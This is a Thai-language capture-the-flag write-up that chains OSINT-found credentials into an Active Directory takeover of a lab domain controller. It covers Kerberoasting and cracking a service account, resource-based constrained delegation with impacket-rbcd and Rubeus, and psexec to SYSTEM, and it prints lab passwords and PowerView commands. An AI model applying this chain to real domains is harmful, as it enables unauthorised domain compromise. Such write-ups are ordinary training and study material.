โจทย์ยาวมากครับเกือบไม่อ่าน 🥲 จากโจทย์ผมเลยนำคำว่า amongnud206 ไปค้นหาใน google แต่ก็ไม่เจออะไรจน PeterPatter เขาส่งมาให้ว่าไปเจอ user amongnud206 เป็น channel ใน youtube Alt text ผมเลยลองเข้าไปดูคลิปในช่องปรากฎว่าในคลิปแรกมีคอมเม้นที่เป็นคำใบ้อยู่ Alt text จากคำใบ้ผมเลยเอาชื่อ sutlit ไปค้นหาใน platform social media ต่างๆจนมาถึง X ผมก็ได้เจอบางอย่าง Alt text Alt text นำ emoji ไป decode ด้วย base100 decoder (ถ้าถามว่าผมรู้ได้ไง ประสบการณ์ล้วนๆครับ55555 😎) Alt text จะได้ url ของ pastebin มาทำการเข้าไปที่ url https://pastebin.com/raw/ZPuSqbx1 จะได้เป็นข้อความที่เป็น base64 เลยเอาไป decode Alt text ได้ Credential มาแล้วว คือ User: amongyud และ Password: Th1s1sV3ryStr0ngP@ssw0rd#2024!NoOneCanGu3ss ต่อไปทำการ nmap IP ที่โจทย์ให้มาเพื่อ Scan port ที่เปิดอยู่

┌──(kali㉿kali)-[~/Downloads/DropCTF/Final]
└─$ nmap -sC -sV -T5 192.168.100.10                            
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-20 14:31 +07
Nmap scan report for DC01.amongnud.local (192.168.100.10)
Host is up (0.055s latency).
Not shown: 988 closed tcp ports (reset)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-09-20 07:31:59Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: amongnud.local0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: amongnud.local0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_nbstat: NetBIOS name: DC01, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:33:9c:4b (VMware)
|_clock-skew: -3s
| smb2-time: 
|   date: 2025-09-20T07:32:00
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.65 seconds

จะได้ว่า IP นี้เป็น Domain Controller จากนั้นใช้ Credential ที่มีกับเครื่องนี้ดู Alt text
จากคำสั่ง whoami /priv ทำให้รู้ว่า user นี้มีสิทธิ์ SeMachineAccountPrivilege อยู่ หมายความว่าสามารถใช้ user นี้ในการเพิ่ม computer object ใหม่เข้ามาใน AD ได้ ซึ่งถ้าหากว่า user นี้สามารถทำให้ computer account ใหม่ที่สร้างมา impersonate Administrator บน DC ได้เราก็จะได้ TGS ของ admin ใน DC เลย ดังนั้นตอนนี้ผมต้องเช็คก่อนว่ามี user ไหนบ้างที่มีสิทธิ์เขียน delegation (RBCD) ได้ โดย ผมทำการไปที่ path \temp เพื่อจะโหลด PowerView มาลงแต่มันมีอยู่ละ เลยใช้คำสั่ง

*Evil-WinRM* PS C:\temp> Get-ObjectAcl -Identity "DC01$" -ResolveGUIDs | ? {
  $_.ActiveDirectoryRights -match "GenericAll|GenericWrite|WriteDacl|WriteProperty"
}

จากผลลัพธ์ที่ได้หา user ที่มี ObjectAceType = ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity Alt text
จะเห็นว่ามี user นึงที่มีสิทธิ์นี้อยู่เลยทำการเอา SID ไป map หาว่าเป็น user คนไหน

*Evil-WinRM* PS C:\temp> ConvertFrom-SID S-1-5-21-4250126084-4050123634-2657093947-1109
AMONGNUD\svc_sqlserver

มันก็คือ user : svc_sqlserver ดังนั้นเป้าหมายของเราตอนนี้คือหาทางทำยังไงก็ได้เพื่อให้ได้ password ของ svc_sqlserver ผมเลยลองใช้วิธีแรกคือ dump TGS ticket ของ Service Account ออกมาดูเพื่อที่จะนำ TGS ticket ของ user: svc_sqlserver ไป crack เพื่อให้ได้ password Alt text จากนั้น copy TGS ticket ไปใส่ไว้ในไฟล์และ crack ด้วย john (ที่จริงผมแนะนำให้ใช้ hashcat ในการ crack มากกว่าแต่เนื่องจากผมทำใน mac ซึ่งการ์ดจอไม่ได้ดีเลยไม่เสี่ยงดีกว่า 😅) Alt text ได้มาแล้ว password คือ ShiatsuSummer2007 ต่อไปก็ได้เวลาเริ่มปรุงงง 🤤 เริ่มแรกทำการใช้ user: amongyud สร้าง computer account ขึ้นมาก่อน
Alt text
จากนั้นใช้ impacket-rbcd เขียน delegation ไปที่ user ที่เราพึ่งสร้างโดยใช้สิทธิ์ของ svc_sqlserver ในการเขียน Alt text
จะเห็นว่า account ที่เราสร้างถูก allow ให้ impersonate บน DC01 แล้ว จากนั้นใช้ Rubeus.exe ขอ TGT/TGS ของ araiwa$ (ซึ่งก็เหมือนเดิมในเครื่องก็มีให้ใช้อีกแล้วใน path \Downloads) Alt text
ให้นำค่า rc4_hmac ของ araiwa$ ไปทำการขอ TGS สำหรับ Administrator Alt text
ซึ่งมันจะได้เป็นไฟล์ .cache มา ซึ่งในที่นี้จะได้ไฟล์ Administrator@cifs_DC01.amongnud.local@AMONGNUD.LOCAL.ccache ก็ทำการ export ไฟล์นี้ไปใส่ในตัวแปล KRB5CCNAME และใช้ ticket นั้นยิง psexec ก็จะได้ shell เป็น NT AUTHORITY\SYSTEM บน DC01 Alt text
จากนั้นก็ไปเก็บ flag กันซึ่งอยู่ใน path C:\Users\Administrator\Desktop\root.txt>

Flag: TEMPEST{69f8048a1ae01f1fecefbba5ebe78e7e}


ก็จบไปแล้วนะครับสำหรับ write up นี้ของผมซึ่งอยากจะบอกว่าการแข่งนี้มีเวลาทั้งหมด 3 วันนั่งทำข้อ easy ไปแล้ว 2 วัน🥲 ซึ่งมันเป็นท่าที่ผมไม่เคยเจอด้วยเลยใช้เวลานานมาก แล้วก็ถ้าหากผมเขียนหรือให้ข้อมูลที่ผิดพลาดก็ขออภัยมา ณ ที่นี้ด้วยครับ รวมๆแล้วเป็นกิจกรรมที่สนุกมากๆครับ อยากให้ผู้จัดได้จัดกิจกรรมดีๆแบบนี้อีกต่อไปเยอะๆครับ ไว้เจอกันใหม่ blog หน้าครับผม

[RELATED POSTS]